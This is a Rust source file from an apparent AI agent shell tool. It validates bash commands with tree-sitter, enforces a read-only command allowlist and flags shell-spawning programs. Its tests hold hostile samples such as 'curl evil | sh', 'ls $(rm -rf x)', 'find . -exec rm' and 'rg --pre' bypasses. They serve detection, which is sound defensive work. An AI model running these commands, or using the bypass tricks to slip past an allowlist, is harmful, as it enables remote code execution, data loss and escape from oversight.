1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21 if command.chars().any(|c| c as u32 >= 0x1_0000) {
22 Cow::Owned(
23 command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24 )
25 } else {
26 Cow::Borrowed(command)
27 }
28}
29
30pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39 let trimmed = command.trim();
40 if trimmed.is_empty() {
41 return Ok(());
42 }
43 if trimmed.contains('\0') {
44 return Err(WinxError::CommandExecutionError(
45 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46 ));
47 }
48
49 let parse_src = neutralize_supplementary(trimmed);
53
54 let mut parser = Parser::new();
55 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56 parser.set_language(&language).map_err(|error| {
57 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58 })?;
59
60 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62 })?;
63 let root = tree.root_node();
64
65 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66 return Err(WinxError::CommandExecutionError(
67 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68 ));
69 }
70
71 let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74 if statement_count > 1 && !trimmed.contains('\n') {
75 return Err(WinxError::CommandExecutionError(
76 "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
77 ));
78 }
79
80 Ok(())
81}
82
83fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
89 allow_shell_probe && bash_accepts_syntax(command)
90}
91
92fn bash_accepts_syntax(command: &str) -> bool {
93 std::process::Command::new("bash")
94 .arg("-n")
95 .arg("-c")
96 .arg(command)
97 .status()
98 .is_ok_and(|status| status.success())
99}
100
101#[derive(Debug, Clone)]
102struct StatementNode {
103 kind: String,
104 start_byte: usize,
105 end_byte: usize,
106}
107
108fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
109 let mut statements = Vec::new();
110 collect_statement_nodes(root, &mut statements);
111
112 statements
113 .iter()
114 .filter(|stmt| stmt.kind != "comment")
115 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
116 .count()
117}
118
119fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
120 if is_statement_node(node.kind()) {
121 statements.push(StatementNode {
122 kind: node.kind().to_string(),
123 start_byte: node.start_byte(),
124 end_byte: node.end_byte(),
125 });
126 }
127
128 let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
129 for index in 0..child_count {
130 if let Some(child) = node.named_child(index) {
131 collect_statement_nodes(child, statements);
132 }
133 }
134}
135
136fn is_statement_node(kind: &str) -> bool {
137 matches!(
138 kind,
139 "command"
140 | "variable_assignment"
141 | "declaration_command"
142 | "unset_command"
143 | "comment"
144 | "for_statement"
145 | "c_style_for_statement"
146 | "while_statement"
147 | "if_statement"
148 | "case_statement"
149 | "function_definition"
150 | "pipeline"
151 | "list"
152 | "compound_statement"
153 | "subshell"
154 | "redirected_statement"
155 )
156}
157
158fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
159 if stmt.start_byte == other.start_byte
160 && stmt.end_byte == other.end_byte
161 && stmt.kind == other.kind
162 {
163 return false;
164 }
165
166 let other_text = &source[other.start_byte..other.end_byte];
167 if other.kind == "list" && other_text.contains(';') {
168 return false;
169 }
170
171 other.start_byte <= stmt.start_byte
172 && other.end_byte >= stmt.end_byte
173 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
174 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
175}
176
177pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
189 let trimmed = command.trim();
190 if trimmed.is_empty() {
191 return Ok(Vec::new());
192 }
193 if trimmed.contains('\0') {
194 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
195 }
196
197 let parse_src = neutralize_supplementary(trimmed);
202
203 let mut parser = Parser::new();
204 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
205 parser.set_language(&language).map_err(|error| {
206 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
207 })?;
208
209 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
210 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
211 })?;
212 let root = tree.root_node();
213 if root.has_error() {
214 return Err(WinxError::CommandExecutionError(
215 "Command could not be parsed for allowlist enforcement.".to_string(),
216 ));
217 }
218
219 let mut texts = Vec::new();
220 collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
221 Ok(texts)
222}
223
224fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
225 if node.kind() == "command" {
226 if let Ok(text) = node.utf8_text(src) {
227 out.push(text.to_string());
228 }
229 }
230 let mut cursor = node.walk();
231 for child in node.children(&mut cursor) {
232 collect_command_texts(child, src, out);
233 }
234}
235
236pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
244 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
245 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
246 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
247];
248
249pub const ARCHITECT_COMMANDS: &[&str] = &[
254 "pwd",
255 "ls",
256 "rg",
257 "grep",
258 "head",
259 "tail",
260 "wc",
261 "stat",
262 "file",
263 "readlink",
264 "realpath",
265 "basename",
266 "dirname",
267 "printf",
268 "echo",
269 "type",
270 "which",
271 "uname",
272 "date",
273 "id",
274 "whoami",
275 "du",
276 "df",
277 "tree",
278 "git status",
279 "git diff",
280 "git log",
281 "git show",
282 "git ls-files",
283 "git grep",
284 "git rev-parse",
285 "git branch --show-current",
286];
287
288pub fn architect_allowed_commands() -> Vec<String> {
289 ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
290}
291
292pub fn is_architect_command_allowed(command_line: &str) -> bool {
299 if contains_file_redirect(command_line) {
300 return false;
301 }
302 let Ok(commands) = extract_command_texts(command_line) else { return false };
303 !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
304}
305
306fn contains_file_redirect(command: &str) -> bool {
310 let parse_src = neutralize_supplementary(command.trim());
311 let mut parser = Parser::new();
312 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
313 if parser.set_language(&language).is_err() {
314 return true;
315 }
316 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
317 let root = tree.root_node();
318 root.has_error() || node_tree_contains_kind(root, "file_redirect")
319}
320
321fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
322 if node.kind() == kind {
323 return true;
324 }
325 let mut cursor = node.walk();
326 let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
327 found
328}
329
330fn architect_command_is_safe(command: &str) -> bool {
331 let words: Vec<&str> = command.split_whitespace().collect();
332 let Some(program) = words.first().copied() else { return false };
333
334 if program == "git" {
335 let Some(subcommand) = words.get(1).copied() else { return false };
336 if subcommand == "branch" {
337 return words.as_slice() == ["git", "branch", "--show-current"];
338 }
339 if !matches!(
340 subcommand,
341 "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
342 ) {
343 return false;
344 }
345 return !words.iter().skip(2).any(|word| {
346 word.starts_with("--output")
347 || *word == "--ext-diff"
348 || *word == "--textconv"
349 || word.starts_with("--open-files-in-pager")
350 });
351 }
352
353 let allowed = ARCHITECT_COMMANDS
354 .iter()
355 .filter(|entry| !entry.starts_with("git "))
356 .any(|entry| *entry == program);
357 if !allowed {
358 return false;
359 }
360
361 if program == "rg" {
362 return !words.iter().skip(1).any(|word| {
363 word == &"--pre"
364 || word.starts_with("--pre=")
365 || word == &"--hostname-bin"
366 || word.starts_with("--hostname-bin=")
367 });
368 }
369
370 true
371}
372
373pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
380 let mut hits: Vec<String> = allowed
381 .iter()
382 .filter_map(|entry| {
383 let first = entry.split_whitespace().next()?;
384 let base = std::path::Path::new(first).file_name()?.to_str()?;
385 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
386 })
387 .collect();
388 hits.sort();
389 hits.dedup();
390 hits
391}
392
393#[cfg(test)]
394mod tests {
395 use super::assert_single_statement;
396 use super::detect_allowlist_bypass;
397 use super::extract_command_texts;
398 use super::is_architect_command_allowed;
399 use proptest::prelude::*;
400
401 proptest! {
402 #[test]
406 fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
407 let _ = assert_single_statement(&cmd, false);
408 let _ = assert_single_statement(&cmd, true);
409 }
410
411 #[test]
412 fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
413 let _ = extract_command_texts(&cmd);
414 }
415 }
416
417 #[test]
418 fn supplementary_plane_input_does_not_segfault_the_parser() {
419 for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
425 for _ in 0..40 {
426 let cmd = format!("{{{c}");
427 let _ = assert_single_statement(&cmd, false);
428 let _ = extract_command_texts(&cmd);
429 }
430 }
431 }
432
433 #[test]
434 fn emoji_command_still_validates_as_single_statement() {
435 assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
438 }
439
440 #[test]
441 fn architect_policy_allows_read_only_exploration() {
442 for command in [
443 "pwd",
444 "rg -n TODO src | head -20",
445 "git status --short",
446 "git diff -- src/lib.rs",
447 "git branch --show-current",
448 ] {
449 assert!(is_architect_command_allowed(command), "should allow: {command}");
450 }
451 }
452
453 #[test]
454 fn architect_policy_blocks_mutation_and_helper_execution() {
455 for command in [
456 "touch owned",
457 "rm file",
458 "sed -i s/a/b/ file",
459 "git checkout -- file",
460 "git diff --output=leak.patch",
461 "git branch --show-current --delete main",
462 "rg --pre 'touch owned' pattern",
463 "rg pattern $(touch owned)",
464 "echo owned > marker",
465 "git diff >> marker",
466 "ls 2> marker",
467 ] {
468 assert!(!is_architect_command_allowed(command), "should reject: {command}");
469 }
470 }
471
472 #[test]
473 fn extracts_nested_commands_for_allowlist() {
474 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
476 assert!(names.iter().any(|c| c.starts_with("ls")));
477 assert!(names.iter().any(|c| c.starts_with("curl")));
478 assert!(names.iter().any(|c| c.starts_with("sh")));
479
480 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
481 assert!(subst.iter().any(|c| c.starts_with("rm")));
482 }
483
484 #[test]
485 fn accepts_shell_chains_as_single_statement() {
486 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
487 }
488
489 #[test]
490 fn accepts_heredocs_as_single_statement() {
491 let command = "cat <<'EOF'\nhello\nEOF";
492 assert!(assert_single_statement(command, true).is_ok());
493 }
494
495 #[test]
496 fn accepts_for_loop_as_single_compound_statement() {
497 assert!(
498 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
499 );
500 }
501
502 #[test]
503 fn rejects_semicolon_separated_top_level_statements() {
504 assert!(assert_single_statement("pwd; ls", true).is_err());
505 }
506
507 #[test]
508 fn accepts_multiline_scripts() {
509 assert!(assert_single_statement("pwd\nls", true).is_ok());
510 }
511
512 #[test]
513 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
514 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
515 assert!(assert_single_statement(command, true).is_ok());
516 }
517
518 #[test]
519 fn shell_probe_is_gated_to_trusted_mode() {
520 use super::rescued_by_shell_probe;
521 assert!(rescued_by_shell_probe("echo hi", true));
527 assert!(!rescued_by_shell_probe("echo hi", false));
530 assert!(!rescued_by_shell_probe("echo )(", true));
532 }
533
534 #[test]
535 fn detect_allowlist_bypass_flags_shell_spawners() {
536 let allowed = vec![
537 "ls".to_string(),
538 "bash".to_string(),
539 "cat -n".to_string(),
540 "find . -exec rm {} +".to_string(),
541 ];
542 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
543 }
544
545 #[test]
546 fn detect_allowlist_bypass_clean_list_is_empty() {
547 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
548 assert!(detect_allowlist_bypass(&allowed).is_empty());
549 }
550
551 #[test]
552 fn detect_allowlist_bypass_matches_basename_of_path() {
553 let allowed = vec!["/usr/bin/env python".to_string()];
554 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
555 }
556
557 #[test]
558 fn rejects_nul_with_actionable_message() {
559 let error = match assert_single_statement("printf '\0'", true) {
560 Ok(()) => String::new(),
561 Err(error) => error.to_string(),
562 };
563 assert!(error.contains("NUL byte"));
564 assert!(error.contains("\\\\x00"));
565 }
566}